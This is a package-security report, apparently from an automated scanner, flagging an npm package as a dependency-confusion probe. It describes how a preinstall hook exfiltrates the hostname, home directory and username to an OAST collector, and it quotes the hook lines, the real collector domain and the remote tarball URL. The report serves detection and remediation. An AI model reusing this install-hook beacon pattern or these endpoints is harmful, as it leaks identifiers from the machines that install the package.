@fmr-ap153177/apex-kit-icons@99.9.1
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 4d ago · by lpm-firewall-aiThe dependency declaration, preinstall hook, identifier collection, and actual HTTP request form a verified automatic installation beacon to an unrelated collector. This supports blocking publication as data exfiltration.
Static reason
One or more suspicious static signals were detected.
Trigger
The dependency's preinstall script runs during installation.
Impact
Host and user identifiers are disclosed to the collector.
Mechanism
The script hex-encodes the hostname, home directory, and username, then passes each value in a collector subdomain to an HTTP request.
Attack narrative
The package installs a remote dependency whose preinstall hook runs a script that sends hex-encoded hostname, home-directory, and username values to an OAST collector in HTTP request subdomains. This is automatic installation-time disclosure.
AI rationale
The dependency declaration, preinstall hook, identifier collection, and actual HTTP request form a verified automatic installation beacon to an unrelated collector. This supports blocking publication as data exfiltration.
Evidence
package.json.lpm-dependency-evidence-958b500b-294e-4ac1-a5c0-99a1365e57a3/0/npm-linux/package.json.lpm-dependency-evidence-958b500b-294e-4ac1-a5c0-99a1365e57a3/0/npm-linux/test.js.lpm-dependency-evidence-958b500b-294e-4ac1-a5c0-99a1365e57a3/0/npm-linux/index.js
Network endpoints2
<identifier>.fmr-ap153177.je1kqidstiudp49efgrr23nix933rtfi.oastify.comltidi.storage.googleapis.com/depenconf/ltidisafe-3.9.1.tgz
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package depends on a remote tarball whose manifest defines a preinstall script that runs test.js.
- The preinstall script hex-encodes the machine hostname, home directory, and username, then submits each value.
- The submitted values are placed in subdomains of an OAST collector host.
- The dependency's network-speed helper sends an HTTP request to the supplied URL.
Evidence against
Behavioral surface
Trivial
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
10"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.9.1.tgz"
},
"author": "",
"license": "ISC"
}
High
Ai Review Evidence
The package depends on a remote tarball whose manifest defines a preinstall script that runs test.js.
package.jsonView on unpkg · L10•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.9.1.tgz
Medium
Remote Tarball Dependency
Package manifest contains a dependency pinned to a remote tarball URL.
package.jsonView on unpkg.lpm-dependency-evidence-958b500b-294e-4ac1-a5c0-99a1365e57a3/0/npm-linux/package.jsonView file
7"preinstall": "node test.js > /dev/null 2>&1",
"test": "echo \"Error: no test specified\
Findings
6 High1 Medium1 Low
HighAi Review Evidencepackage.json
HighAi Review Evidence.lpm-dependency-evidence-958b500b-294e-4ac1-a5c0-99a1365e57a3/0/npm-linux/package.json
HighAi Review Evidence.lpm-dependency-evidence-958b500b-294e-4ac1-a5c0-99a1365e57a3/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-958b500b-294e-4ac1-a5c0-99a1365e57a3/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-958b500b-294e-4ac1-a5c0-99a1365e57a3/0/npm-linux/test.js
HighSuspicious Dependency Evidence.lpm-dependency-evidence-958b500b-294e-4ac1-a5c0-99a1365e57a3/0/npm-linux/index.js
MediumRemote Tarball Dependencypackage.json
LowScripts Present
Affected versions and remediation
This report applies to @fmr-ap153177/apex-kit-icons@99.9.1.
See all versions of @fmr-ap153177/apex-kit-icons for other recorded verdicts.
- Avoid installing @fmr-ap153177/apex-kit-icons@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.